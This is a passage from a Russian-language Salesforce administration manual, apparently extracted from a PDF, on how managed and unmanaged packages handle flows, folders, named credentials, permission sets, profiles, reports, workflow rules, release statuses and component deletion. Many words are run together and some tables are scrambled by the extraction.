• Новоесоотнесениезначенийраскрывающегосяспискамежду зависимымииуправляющимиполями, добавленное
разработчиком, добавляется при обновлении.

• Удаление соотнесения значений раскрывающегося списка разработчиком не отображается в организации
подписчика при обновлении.

Наборы полей
Наборы полей выполняют разные алгоритмы объединения при обновлении установленного пакета.

то:Если разработчик пакета:

измененное поле добавляется в конец обновленного
набора полей в любом соответствующем столбце.

меняет значение «Недоступно» на значение «Доступно
для набора полей» или «В наборе полей»

новое поле добавляется в конец обновленного набора
полей в любом соответствующем столбце.

добавляет новое поле

поле удаляется из обновленного набора полей.меняет значение «Доступно для набора полей» или «В
наборе полей» на значение «Недоступно»

изменениенеотображаетсявобновленномнабореполей.меняет значение «В наборе полей» на значение
«Доступно для набора полей» (или наоборот)

Прим.: Подписчики не уведомляются об изменениях, внесенных в установленные наборы полей. Разработчик
должен уведомить пользователей (посредством примечаний к выпуску или другой документации) обо всех
изменениях, внесенных в выпущенные наборы полей. Объединение может инициировать удаление полей из
набора.

Подписчик может добавить или удалить любое поле после установки набора полей.

Потоки

• Пакетыпозволяют добавлять только активныепотоки. Активная версия потока определяется при загрузке версии
пакета. При отсутствии активных версий потока загрузка прекращается.

• Чтобыобновить управляемыйпакетпосредствомдругой версиипотока, активируйтенужнуюверсиюиповторно
загрузите пакет. Недавно активированная версия потока не должна добавляться в пакет. Обратите внимание, что
версия потока, активированная по ошибке, будет доступна всем пользователям организации в случае загрузки
пакета. Рекомендуем внимательно проверять версию потока, выбранную для загрузки.
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• Организация разработки не позволяет удалять поток или версию потока, загруженную в пакет со статусом
«Выпущенный» или «Управляемый — бета-версия».

• Организация разработки не позволяет удалять компоненты потока из установленных пакетов со статусом
«Управляемый — бета-версия».

• Потокнеможет быть удалениз установленногопакета. Чтобыудалитьпотокпакета из организации, рекомендуем
деактивировать поток и удалить пакет.

• При наличии нескольких версий потока, установленных из разных неуправляемых пакетов, запрещается удалять
только одну версию путем удаления соответствующего пакета. При удалении управляемого или неуправляемого
пакета, содержащего одну версию потока, удаляется весь поток и все его версии.

• Потоки не могут быть добавлены в исправления пакета.

• Активныйпотоквпакете активируетсятолькопослеустановки. Предыдущаяактивнаяверсияпотокадеактивируется
в целевой организации в пользу недавно установленной версии. Любые текущие потоки, в основе которых
используется ныне деактивированная версия, продолжат свое выполнение, но будут отображать предыдущую
версию потока.

• При обновлении управляемого пакета в организации новая версия потока устанавливается только при наличии
более новой версии от разработчика. В результате выполнения нескольких обновлений пакет может содержать
несколько версий потока.

• При установке пакета, содержащего несколько версий потока, в новую целевую организацию, развертывание
выполняется только для последней версии потока.

• При установке потока из неуправляемого пакета, имя которого соответствует имени установленного потока, но
приэтомотличаютсяихномераверсий, поток, установленныйпоследним, становитсяпоследнейверсиейтекущего
потока. Однако, если оба потока используют одинаковые имена и номера версий, то установка пакета не
выполняется. Поток не может быть перезаписан.

• ОблачнаяверсияприложенияFlow Designerнепозволяетоткрыватьпотоки, установленныеизуправляемыхпакетов.

Папки

• Компоненты, которыехранятся системой Salesforce в личныхилиизъятыхпапках (например, документы), немогут
бытьдобавленывпакеты. Документы, отчетыидругиекомпоненты, которыехранятся системой Salesforce впапках,
должны быть перенесены в общедоступную папку.

• Компоненты (например, документы, шаблоны эл. почты, отчеты и панели мониторинга) создают папки в
организацииустановщика, используяименапапок, заданныеиздателем. Рекомендуемназначитьимена, указывающие
на принадлежность пакету.

• Установка нового отчета, панели мониторинга, документа или шаблона эл. почты в процессе обновления
инициируетповторноесозданиепапки, содержащейданныйкомпонент, ноудаленнойподписчиком. Компоненты
папки, удаленные ранее, не восстанавливаются.

• Имя компонента, хранящегося в папке, должно быть уникальным среди всех папок, содержащих данный тип
компонента, кроме личных папок. Компоненты, хранящиеся в личной папке, должны быть уникальными только
внутри личной папки.

Компоненты начальной страницы
Пакетирование настраиваемого макета начальной страницы инициирует автоматическое добавление всех
настраиваемых компонентов начальной страницы, используемых в макете страницы. Стандартные компоненты
(например, «Сообщения и предупреждения») не добавляются в пакет и не перезаписывают компонент «Сообщения
и предупреждения» установщика. Чтобы добавить сообщение в настраиваемыймакет начальной страницы, создайте
настраиваемый компонент вкладки «Начальная страница» типа «Область HTML», содержащий нужное сообщение.
Введите строку «Компоненты начальной страницы» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Компоненты начальной страницы». Затем добавьте сообщение в макет настраиваемой начальной страницы.
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Макеты начальной страницы
Установленныенастраиваемыемакетыначальнойстраницыотображаютсяв списке всехмакетовначальнойстраницы
подписчика. Имя приложения, добавленное в имя макета страницы, позволяет различать разные макеты.

Списковые представления
Списковые представления, связанные с очередями, не могут быть добавлены в пакет.

Мультивалюта

• Полеобъекта «Валюта», добавленное в качестве столбца вотчетили типнастраиваемогоотчета, устанавливаемый
подписчиком, пропускается при отсутствии мультивалютной поддержки в организации подписчика.

• Использование поле объекта «Валюта» в критериях отчета (например, «Валюта организации») инициирует
создание зависимости.

• Резюмирование данных отчета по полю объекта «Валюта» инициирует создание зависимости.

• Использование кода валюты в значении критерия отчета (например, «"Годовой доход" равно "GBP 100"») не
инициирует создание зависимости. Отчет возвращает ошибку при выполнении в организации-установщике,
которая не поддерживает валюту.

• Если поле объекта «Валюта» добавляется в отчет в виде столбца, а организация подписчика не поддерживает
мультивалюту, то столбец пропускается при установке.

• Поле объекта «Валюта», добавленное в качестве столбца в тип настраиваемого отчета, устанавливаемый
подписчиком, пропускается при отсутствии мультивалютной поддержки.

Именованные регистрационные данные

• Послеустановкиименованныхрегистрационныхданныхиз управляемогоилинеуправляемогопакетаподписчик
должен выполнить повторную проверку подлинности во внешней системе.

– Прииспользованиипроверкиподлинностипаролейподписчикдолженповторноввестипарольвопределение
именованных регистрационных данных.

– Прииспользовании OAuth подписчикдолженобновить URL-адрес обратного вызова в конфигурацииклиента
дляпоставщикапроверкиподлинности, а затемвыполнитьповторнуюпроверкуподлинностипутемустановки
флажка «Начать процесс проверки подлинности при сохранении» для именованных регистрационных
данных.

• Именованные регистрационные данные не подлежат автоматическому добавлению в пакеты. При добавлении в
пакетданныхиз внешнегоисточникаиликодаApex, которымуказываютсяименованныерегистрационныеданные
конечной точки вызова, необходимо добавить именованные регистрационные данные в пакет. Кроме того,
убедитесь, что организация подписчика имеет действительные именованные регистрационные данные с таким
именем.

При наличии нескольких организаций рекомендуем создать именованные регистрационные данные с тем же
именем, но с другим URL-адресом конечной точки в каждой организации. Затем можно распаковать и развернуть
(вовсехорганизациях) одноопределениевыноски, ссылающеесянаобщееимяэтихименованныхрегистрационных
данных. Например, именованныерегистрационныеданныевсехорганизациймогутиспользоватьразные URL-адреса
конечной точки для устранения несоответствия между средой разработки и производственной средой. Если в
выноске Apex используется общее имя таких именованных регистрационных данных, класс Apex, определяющий
данныйвызов, можнодобавитьвпакетиразвернутьвовсех такихорганизацияхбезпрограммнойпроверкисреды.

• Сертификаты не подлежат пакетированию.При пакетировании именованных регистрационных данных,
определяющих сертификат, убедитесь, что организация подписчика использует действительный сертификат с
тем же именем.
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• Перечисленныенижепараметрывызова дляименованныхрегистрационныхданныхможноиспользовать только
в пользовательском интерфейсе. Если значения по умолчанию не подходят для конечной организации,
администратор этой организации должен вручную настроить именованные регистрационные данные после
развертывания.

– Создать заголовок авторизации, по умолчанию: включено

– Разрешить объединение полей в заголовке HTTP, по умолчанию: выключено

– Разрешить объединение полей в теле HTTP, по умолчанию: выключено

Макеты страниц
Макет страницы пользователя, загружающего пакет, — это макет, используемый версиями Group Edition и Professional
Edition и стандартный для версий Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition.

Макет страницы, установленный для текущего объекта, пакетируется вместе с дополнительными типами записей. В
противном случае необходимо вручную применить для профилей установленные макеты страниц.

Если макет страницы и тип записи создаются в результате установки пакета, то назначение макета страницы
загружающего пользователя для данного типа записи назначается типу записи для всех профилей в
организации-подписчике, кроме случаев соотнесения профиля при установке или обновлении.

Наборы полномочий
Наборы полномочий могут быть добавлены в качестве компонентов пакета наряду со следующими полномочиями
и параметрами доступа.

• Полномочия настраиваемого объекта

• Полномочия внешнего объекта

• Полномочия настраиваемого поля

• Настраиваемые полномочия

• Параметры отображения настраиваемой вкладки

• Доступ к классу Apex

• Доступ к странице Visualforce

• Доступ к внешнему источнику данных

Прим.: Назначенные приложения и стандартные параметры отображения вкладки не входят в компоненты
набора полномочий.

Наборыполномочийпозволяют устанавливать или обновлять совокупность полномочий. Вотличие от параметров
профиля, наборы полномочий не перезаписывают профили.

Значения раскрывающегося списка

• Подписчикимогутпереименовыватьилиудалять значенияраскрывающегося списка. Даннаяособенностьдолжна
учитываться разработчиками при явном добавлении значения раскрывающегося списка в Apex.

• Значенияраскрывающихся списковмогутбытьдобавленыилиудаленыворганизацииразработчика. Обновление
не инициирует установку новых значений. Любые значения, удаленные разработчиком, доступны организации
подписчика до их удаления самим подписчиком.

Параметры профиля
Ниже перечислены параметры профиля, доступные для компонентов пакета.

• Назначенные приложения

• Назначенные связанные приложения

• Параметры вкладки
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• Назначения макета страницы

• Назначения типа записи

• Полномочия настраиваемого объекта

• Полномочия внешнего объекта

• Полномочия настраиваемого поля

• Настраиваемые полномочия

• Доступ к классу Apex

• Доступ к странице Visualforce

• Доступ к внешнему источнику данных

Параметры профиля перезаписывают текущие профили в организации установщика конкретными изменениями
полномочий и параметров.

Типы записей

• Пакет, содержащий типы записей, может быть установлен только при наличии поддержки типов записей в
организации подписчика.

• Новое установленное значение раскрывающегося списка связывается со всеми установленными типами записей
на основе соотнесений, заданных разработчиком. Данная связь может быть изменена подписчиком.

• Использованиеполеобъекта «Типзаписи» вкритерияхотчета (например, «Тип записи организации») инициирует
создание зависимости.

• Резюмированиеданныхотчетапополюобъекта «Типзаписи» (например, «Тип записи организации») инициирует
создание зависимости.

• Если поле объекта «Тип записи» добавляется в отчет в виде столбца, а организация подписчика не поддерживает
или не использует типы записей объекта, то столбец пропускается при установке.

• Если устанавливаемый тип настраиваемого отчета содержит поле объекта «Тип записи» в виде столбца, а
организациянеподдерживает типызаписейилиобъектуне заданытипызаписей, тоданныйстолбецпропускается.

Отчеты
Элементы отчета, которые не поддерживают пакетирование, пропускаются или заменяются предыдущей версией,
либо препятствуют загрузке пакета. Например:

• Детализации иерархии пропускаются в отчетах по действиям и возможностям.

• Фильтрынепакетируемыхполейпропускаютсяавтоматически (например, фильтрыдлятиповзаписейстандартного
объекта).

• Загрузкапакетапрерываетсяприналичиилогикифильтра длянепакетируемогополяотчета (например, фильтры
для типов записей стандартного объекта).

• Значения поиска для поля «Выбрать кампанию» стандартных отчетов по кампаниям пропускаются.

• Отчеты, перемещенные в личную папку или папку «Изъятые общедоступные отчеты», удаляются из пакетов.

• При установке пакета в организацию, которая не поддерживает приложение Chart Analytics 2.0:

– Комбинированныедиаграммызаменяютсяпредыдущимиверсиями. Например, комбинированнаявертикальная
диаграмма, дополненная столбцами, заменяется простой вертикальной диаграммой; комбинированная
горизонтальная диаграмма, дополненная строками, заменяется простой горизонтальной диаграммой.

– Неподдерживаемые типы диаграмм (например, круговые и конические) пропускаются.

Элементы S-Control
Подписчикимогут устанавливатьтолькоэлементы S-Control изнеуправляемыхпакетов, созданныхдо 1 января 2010 года.
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Элементы S-Control объявлены нерекомендуемыми и заменены страницами Visualforce на странице 5622.

Средство перевода

• Включение средства перевода и добавление языка в пакет инициирует автоматическое пакетирование любых
связанных переведенных значений для соответствующих компонентов пакета. Убедитесь в наличии переводов
для всех возможных компонентов.

• Установщик пакета может просматривать поддерживаемые языки на странице сведений о пакете. Переводы на
языки, добавленныевпакет, отображаютсяустановщикуавтоматически. Средствопереводаможетбытьвключено
установщикамипоследующимпричинам: изменениепереводовдля установленныхнеуправляемыхкомпонентов,
переопределение переводов настраиваемых меток в управляемом пакете или перевод на дополнительные языки.

• Расширение пакета может быть дополнено переводами для компонентов расширения, но не дополнительными
переводами для компонентов основного пакета.

Правила проверки
Пакетирование настраиваемых объектов инициирует неявное пакетирование всех связанных правил проверки.

Бизнес-правила

• Система Salesforce препятствует загрузке предупреждений бизнес-правила, содержащих общедоступную группу,
пользователя-партнераилиполучателяроли. Преждечемзагрузитьприложение, рекомендуемзаменитьполучателя
пользователем. При установке система Salesforce заменяет данного пользователя установщиком приложения,
который может выполнять необходимые настройки.

• Система Salesforce препятствует загрузке обновлений полей бизнес-правила, которые заполняют поле
«Ответственный» очередью. Прежде чем загрузить приложение, рекомендуем заменить значение обновленного
поляпользователем. ПриустановкесистемаSalesforce заменяетданногопользователяустановщикомприложения,
который может выполнять необходимые настройки.

• СистемаSalesforceпрепятствует загрузкебизнес-правил, обновленийполейиисходящихсообщений, ссылающихся
на тип записи стандартного или управляемого установленного объекта.

• Система Salesforce препятствует загрузке задач бизнес-правила, назначенных роли. Прежде чем загрузить
приложение, рекомендуем заменить значениеполя «Назначено» пользователем. Приустановке система Salesforce
заменяет данного пользователя установщикомприложения, которыйможет выполнять необходимые настройки.

• Пакетирование доступно для бизнес-правил и связанных действий (например, предупреждения и обновления
полей). Тем не менее, контролируемые по времени триггеры не добавляются в пакет. Уведомите установщиков о
необходимости настройки всех контролируемых по времени триггеров, являющихся существенными для
приложения.

Триггеры потока не подлежат пакетированию. Конструктор процессов заменяет триггеры потока как действия
бизнес-правила, ранее доступные только в пробной версии. Организации, использующие триггеры потока как
действия бизнес-правила, могут продолжить их создание и редактирование; триггеры потока как действия
бизнес-правила недоступны новым организациям.

• Некоторые действия бизнес-правила могут быть защищены разработчиком. Дополнительную информацию о
защищенных компонентах см. в разделе «Защищенные компоненты» на странице 5965.

• Разработчики могут связывать или удалять связи между действиями и бизнес-правилами. Данные изменения,
включая удаление связей, отображаются в организации подписчика после установки. Управляемые пакеты не
позволяют подписчикам удалять связи между действиями и бизнес-правилами, установленные разработчиком.

• Ссылки на конкретного пользователя в действиях бизнес-правила (например, получатель электронного
предупреждениябизнес-правила) заменяютсяпользователем, устанавливающимпакет. Действиябизнес-правила,
ссылающиеся на роли, общедоступные группы или рабочие группы, не могут быть загружены.
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• Ссылки на единый адрес (например, «Адрес эл. почты отправителя») электронного предупреждения
бизнес-правила заменяются значением поля «Текущий пользователь» во время установки.

• Всеустановленныебизнес-правила, созданныепосредствомустановленногоилиобновленногопакета, используют
статус активации, аналогичный загруженному пакету.

Защищенные компоненты
Разработчики могут помечать некоторые компоненты в качестве защищенных. Защищенные компоненты не могут быть
связаны или использоваться компонентами, созданными в организации подписчика. Разработчик может удалить
защищенный компонент в будущем выпуске. Удаление не влияет на процесс установки пакета. Компонент, помеченный
как незащищенный и доступный всем пользователям, не может быть удален.Ниже перечислены компоненты, которые
разработчики управляемых пакетов могут помечать в качестве защищенных.

• Настраиваемые метки

• Настраиваемые ссылки (только для начальной страницы)

• Предупреждения бизнес-правил

• Обновления полей бизнес-правил

• Исходящие сообщения бизнес-правил

• Задачи бизнес-правил

Рекомендации по защите интеллектуальной собственности
Ниже перечислены рекомендации по защите интеллектуальной собственности.

• Рекомендуемпубликовать только компонентыпакета, являющиесяинтеллектуальной собственностьюорганизации.

• Компоненты, доступные в каталоге Force.com AppExchange, не могут быть отозваны из организаций установщиков.

• Информация, доступная впакетируемыхипубликуемыхкомпонентах, можетотображатьсяпользователямв каталоге
Force.com AppExchange. Рекомендуем проявлять осторожность при добавлении кода на страницу Visualforceформулы
или в любой другой компонент, который не может быть скрыт в приложении.

• Код, доступный в Apex, который является частью управляемого пакета, автоматически маскируется и не может быть
просмотрен организацией-установщиком. Исключением являются глобальные методы, то есть
организации-установщики могут просматривать сигнатуры методов.

Общие сведения о наборах полномочий и параметрах профиля в пакетах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Наборы полномочий и параметры профиля позволяют разработчикам указывать
полномочия и другие параметры доступа к пакету. Прежде чем использовать наборы
полномочий, параметры профиля или оба компонента, рекомендуем сопоставить их
сходства и различия.

Параметры профиляНаборы полномочийАлгоритм

Какие полномочия и
параметры добавляются?

•• Назначенные
приложения

Полномочия
настраиваемогообъекта

• •Полномочия внешнего
объекта

Назначенныесвязанные
приложения
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Параметры профиляНаборы полномочийАлгоритм

• Параметры вкладки• Полномочиянастраиваемогополя

• Настраиваемые полномочия • Назначения макета страницы

• Назначения типа записи• Параметры отображения
настраиваемой вкладки • Полномочия настраиваемого

объекта• Доступ к классу Apex

• Полномочия внешнего объекта• Доступ к странице Visualforce

• Доступ к внешнему источнику
данных

• Полномочиянастраиваемогополя

• Настраиваемые полномочия

Прим.: Наборы полномочий
содержат назначенные

• Доступ к классу Apex

• Доступ к странице Visualforce
приложения и стандартные • Доступ к внешнему источнику

данныхпараметрыотображениявкладки,
но данные параметры не могут
быть добавлены в пакет как
компоненты набора
полномочий.

Параметры профиля применяются к
текущим профилям в организации

Да.Могут ли они обновляться в
управляемых пакетах?

подписчика при установке или
обновлении. Применяются только
полномочия, связанные с новыми
компонентами, которыебылисозданы
при установке или обновлении.

Да.Наборы полномочий могут
редактироватьсяподписчикамитолько
в неуправляемых пакетах.

Могут ли они редактироваться
подписчиками?

Да. Подписчики могут клонировать
любой профиль, содержащий

Да. Однако, клонированный набор
полномочий или набор полномочий,

Могут ли они клонироваться или
создаваться?

полномочия и параметры, которыесозданный на основе набора
связаны с компонентами,
добавленными в пакет.

полномочий, добавленного в пакет,
недоступен для дальнейшего
обновления. Только наборы
полномочий, добавленные в пакет,
могут быть обновлены.

Нет.Нет. Кроме того, полномочия
настраиваемогообъекта немогут быть

Содержат ли они полномочия
стандартного объекта?

добавлены во взаимосвязь
«Основная — подробная», где
стандартный объект является
основным.

Нет.Нет.Содержат ли они полномочия
пользователя?
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Параметры профиляНаборы полномочийАлгоритм

Да. Параметрыпрофиляприменяются
к текущим профилям в организации

Нет. Подписчики должны назначать
наборыполномочийпосле установки.

Добавляются ли они в мастер
установки?

подписчика при установке или
обновлении. Применяются только
полномочия, связанные с новыми
компонентами, которыебылисозданы
при установке или обновлении.

Нет. Установка переопределяет
параметры профиля, а не лицензии

Набор полномочий устанавливается
только в том случае, если организация

Какие требования предъявляются к
лицензии пользователя?

пользователя в организации
подписчика.

подписчика использует как минимум
одну лицензию пользователя,
соответствующую набору
полномочий. Например, наборы
полномочийслицензиейпользователя
Salesforce Platform устанавливаются
только в организации, которым
предоставлена лицензия Salesforce
Platform. Подписчики, которые
приобретаютнеобходимуюлицензию
позже, должнывыполнитьповторную
установку пакета. В противном случае
новая лицензия не будет связана с
наборами полномочий.

Наборы полномочий без лицензии
пользователя всегда доступны для
установки. При назначении набора
полномочий без лицензии
пользователя все включенные
параметрыиполномочиядолжныбыть
разрешены лицензией пользователя.
В противном случае назначение не
выполняется.

Параметры профиля применяются к
текущим профилям.

Подписчики должны назначать
наборы полномочий, добавленные в
пакет, после установки пакета.

Каким образом они назначаются
пользователям?

Рекомендации
• Наборы полномочий, используемые совместно с профилями, позволяют подписчикам быстро добавлять новые

полномочия для текущих пользователей приложения.

• Чтобыпредоставитьпользователямдоступкприложениям, стандартнымвкладкам, макетамстраницитипамзаписей,
рекомендуется использовать наборы полномочий совместно с другими компонентами.

• Создайте пакетные наборы полномочий, которые предоставляют доступ к настраиваемым компонентам пакета, но
не стандартным компонентам Salesforce.
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Определение процесса разработки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Неуправляемые пакеты
доступны в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Управляемые пакеты
доступны в версиях:
Developer Edition.

Все пакеты являются неуправляемыми до их преобразования в управляемые пакеты.
Данное действие требует наличия управляемых пакетов, созданных в организации
Developer Edition. Самостоятельная разработка управляемых пакетов позволяет
протестировать пакеты перед выпуском и дополнить их нужными обновлениями.

Преждечемсоздатьпакет, определитепроцессразработкиивыберитеподходящийтип
пакета для процесса.

Разработка неуправляемых пакетов
• Разработка приложения.

• Создание пакета и загрузка приложения.

Разработка управляемых пакетов
• Разработка приложения.

• Создание пакета и загрузка бета-версии приложения.

• Сбор отзывов от бета-тестеров и внесение соответствующих исправлений в приложение.

• Создание пакета и загрузка финальной версии приложения.

Планирование выпуска управляемых пакетов

Удаление компонентов из управляемых пакетов

Просмотр неиспользуемых компонентов пакета

Изменение настраиваемых полей после выпуска пакета

Настройка стандартных версий пакета для вызовов API

Общие сведения о доступе посредством API и динамического кода Apex в пакетах

Управление доступом посредством API и динамического кода Apex в пакетах

Создание файла Enterprise WSDL посредством управляемых пакетов

Общие сведения о зависимостях

Рабочий центр
Рабочий центр позволяет просматривать, связывать, создавать и получать централизованный доступ к разным
организациям Salesforce. Если ваша компания имеет несколько сред для разработки, тестирования и пробного
использования, Рабочий центр позволяет оптимизировать подход к управлению организациями.

СМ. ТАКЖЕ:

Планирование выпуска управляемых пакетов

Управление пакетами

Создание и загрузка исправлений
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Планирование выпуска управляемых пакетов
Выпуск пакета AppExchange аналогичен выпуску любой другой программы. Чтобы гарантировать правильную работу
каждого компонента, рекомендуем воспользоваться поэтапнымразвертываниемпакета. Принеобходимости обратитесь
к бета-тестерам с просьбой установить раннюю версию пакета и передать свои отзывы.

Пакет, выпущенный путем публикации в каталоге AppExchange, может быть установлен любым пользователем. Именно
поэтому, выпуск пакета должен быть тщательно спланирован. Чтобы ознакомиться с процессом выпуска, просмотрите
статусы ниже. В зависимости от выбранных параметров загрузки и текущего этапа процесса выпуска, система Salesforce
автоматически применяет соответствующий статус к пакету и его компонентам.

ОписаниеСтатус

Пакет не преобразован в управляемый или компонент не добавлен в
управляемый пакет. Обратите внимание, что компоненту со статусом

«Неуправляемый»

«Управляемый — бета-версия» может быть назначен статус «Неуправляемый»
приегоудаленииизуправляемогопакета. Всепакетыявляютсянеуправляемыми,
кроме пакетов, помеченных одним из указанных ниже значков управляемого
пакета.

Пакет или компонент создан в текущей организации Salesforce и является
управляемым, но не выпущен по одной из указанных ниже причин.

«Управляемый — бета-версия»

• Пакет не загружен.

• Пакет загруженсо статусом «Управляемый — бета-версия». Данныйстатус
препятствуетпубликациипакетадляобщегодоступав каталогеAppExchange.
Разработчикможетредактироватьлюбыекомпоненты, тогдакакполномочия
установщика определяются компонентами, добавленными в пакет.

Прим.: Не рекомендуем устанавливать пакет со статусом
«Управляемый — бета-версия» поверх пакета со статусом
«Управляемый — выпущенный». В противном случае, пакет будет
доступентолькодля удаленияиповторнойустановки; обновлениепакета
будет недоступно.

Пакет или компонент создан в текущей организации Salesforce и является
управляемым. Пакет загружается со статусом «Управляемый — выпущенный»,

«Управляемый — выпущенный»

указывающимнавозможностьегопубликациивкаталогеAppExchange.Обратите
внимание, что данный статус пакета запрещает разработчику и установщику
редактировать некоторые свойства компонентов.

Данный тип выпуска считается основным.

Чтобы применить незначительное обновление к управляемому пакету,
рекомендуем создать исправление вместо нового основного выпуска.

«Исправление»

Исправлениепозволяетразработчикуизменитьфункциитекущихкомпонентов
управляемогопакета, а также гарантируетотсутствиезаметныхизмененийпакета
в организациях подписчиков.

Данный тип выпуска считается версией исправления.

Пакетили компонент установлениз другойорганизации Salesforce, но является
управляемым.

«Управляемый — установленный»
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Со временем разработчик может совершенствовать функции управляемого пакета, загружая и выпуская новые версии.
Данное действие может инициировать обновление некоторых компонентов управляемого пакета. Разработчики могут
удалять некоторые типы компонентов при обновлении пакета со статусом «Управляемый — выпущенный».

СМ. ТАКЖЕ:

Управление пакетами

Определение процесса разработки

Удаление компонентов из управляемых пакетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления компонентов
из пакета:
• «Создание пакетов

AppExchange»

Иногда требуется удалить компонент загруженного пакета со статусом
«Управляемый — выпущенный». Ниже перечислены возможные ситуации.

• Компонент, добавленный в пакет, не может быть удален.

• Компонент может быть удален и восстановлен только на странице «Удаленные
компоненты пакета».

• Компонентможетбыть удаленивосстановленна странице «Удаленныекомпоненты
пакета» или из корзины.

Чтобы открыть страницу «Удаленные компоненты пакета», введите Пакеты в поле
Быстрый поиск вменю «Настройка», затемвыберитеПакеты. Выберитепакет, вкоторый
был загружен компонент и нажмите кнопкуПосмотреть удаленные компоненты.
Компоненты могут быть восстановлены из корзины или на странице «Удаленные
компоненты пакета» в любое время — до загрузки новой версии пакета. Чтобы
восстановить компонент, щелкните ссылку «Восстановить» напротив нужного
компонента.

Компонент, помеченныйдляудаления, удаляетсябез возможностивосстановленияпосле
загрузки пакета.

Внимание: Темнеменее, значениеполя«Имя»удаленногокомпонентасохраняется
в системе Salesforce и не может использоваться при создании другого компонента.
Страница «Удаленные компоненты пакета» содержит список имен, недоступных
для использования.

Чтобыоткрыть страницу «Удаленные компонентыпакета», введите Пакеты в поле Быстрый поиск в меню «Настройка»,
затемвыберитеПакеты. Выберитепакет, в которыйбылзагруженкомпонентинажмитекнопкуПосмотретьудаленные
компоненты. Данная страницапозволяет восстанавливать компоненты, которыемогут быть восстановленыиз корзины.
Ниже перечислены типы компонентов, которые могут быть восстановлены на данной странице.

• Классы и триггеры Apex без глобального доступа.

• Настраиваемые вкладки.

• Компоненты Visualforce с общим доступом.

• Защищенные компоненты, включая:

– Настраиваемые метки

– Настраиваемые ссылки (только для начальной страницы)

– Предупреждения бизнес-правил

– Обновления полей бизнес-правил

– Исходящие сообщения бизнес-правил
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– Задачи бизнес-правил

– Триггеры потока бизнес-правила

Конструкторпроцессов заменяет триггерыпотокакакдействиябизнес-правила, ранеедоступныетольковпробной
версии. Организации, использующиетриггерыпотокакакдействиябизнес-правила, могутпродолжитьихсоздание
и редактирование; триггеры потока как действия бизнес-правила недоступны новым организациям.

• Компоненты данных (например, документы, панели мониторинга и отчеты). Данные типы компонентов являются
единственными, которые также могут быть восстановлены из корзины.

Компонентымогут быть восстановленыиз корзины или на странице «Удаленные компоненты пакета» в любое время —
до загрузки новой версии пакета. Чтобы восстановить компонент, щелкните ссылку «Восстановить» напротив нужного
компонента.

Ниже перечислены сведения, доступные на странице «Удаленные компоненты».

ОписаниеАтрибут

Пакет со статусом «Управляемый — выпущенный»,
загруженный без удаленного компонента, поддерживает

Действие

ссылку «Восстановить», позволяющую восстановить
компонент.

Данный атрибут отображает номер версии пакета,
содержащего компонент.

Доступно в версиях

Данный атрибут отображает имя компонента.Имя

Данный атрибут отображает имя родительского объекта,
связанного с компонентом. Например, настраиваемый
объект является родителем настраиваемого поля.

Родительский объект

Данный атрибут отображает тип компонента.Тип

Просмотр неиспользуемых компонентов пакета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данная таблица содержит компоненты, которые больше не используются в текущей
версии пакета. Любой указанный ниже компонент, являющийся частью управляемого
пакета, может быть удален, если не используется настраиваемыми интеграциями.
Удаленныйнеиспользуемыйкомпонентотображаетсявданномспискев течение 15 дней.
Втечениеэтогосрокакомпонентивсеегоданныемогутбытьвосстановленыилиудалены
без возможности восстановления. Обратите внимание, что некоторые свойства
восстановленного настраиваемого поля могут быть потеряны или изменены. По
истечении 15 дней поле и все его данные удаляются без возможности восстановления.

Прим.: Прежде чем удалить настраиваемое поле, рекомендуем сохранить запись
его данных. Введите строку «Экспорт данных» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Экспорт данных».

Ниже перечислены отображаемые сведения о компоненте.
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ОписаниеАтрибут

Отображается одно из двух значений:Действие

• Восстановить

• Удалить

Данный атрибут отображает имя компонента.Имя

Данный атрибут отображает имя родительского объекта,
связанногос компонентом. For example, a custom object is the
parent of a custom field.

Родительский объект

Данный атрибут отображает тип компонента.Тип

Изменение настраиваемых полей после выпуска пакета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition.

Нижеперечисленыизменения, которыемогутбыть внесенывнастраиваемыеполяпосле
выпуска пакета.

• Длина текстового поля может быть увеличена или уменьшена.

• Количество цифр, расположенных до или после десятичной запятой в числовом
поле, может быть увеличено или уменьшено.

• Обязательные поля могут быть преобразованы в необязательные, и наоборот. Если
поледолжносодержать значениепоумолчанию, тоданноеограничениеможетбыть
удалено, и наоборот.

Настройка стандартных версий пакета для вызовов API

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки стандартных
версий пакета для вызовов
API:
• «Настройка

приложения»

Версия пакета — это номер, который определяет набор компонентов, загруженных в
пакет. Для номера версии используется следующийформат:
основной_номер.дополнительный_номер.номер_исправления  (например, 2.1.3). Основной и
дополнительныйномера увеличиваютсяна выбранное значениепри каждомосновном
выпуске. Значение переменной номер_исправления указывается и обновляется только в
случае выпускаисправления.Версиипакетапозволяютиздателямизменять компоненты
управляемыхпакетовпутемвыпускапоследующихверсийпакетабезнарушениятекущих
интеграций, использующих пакет.

СтандартныеверсиипакетадлявызововAPIсодержатпараметрысистемывосстановления,
кроме случаев предоставления версий пакета вызовом API.Многие клиенты API не
содержат сведений о версии пакета, поэтому стандартные параметры сохраняют их
текущий алгоритм работы.

Стандартные версии пакета могут быть заданы для вызовов Еnterprise API и Рartner API.
Файл Enterprise WSDL предназначендля клиентов, желающихсоздатьинтеграциютолько
с собственнойорганизацией Salesforce. Данныйфайл является строго типизированным,
так как вызовы выполняются для объектов и полей с определенными типами данных
(например, int и string). Файл Partner WSDL предназначен для клиентов, партнеров
и независимых поставщиков ПО, желающих создать интеграцию с разными
организациями Salesforce, независимо от настраиваемых объектов или полей. Данный
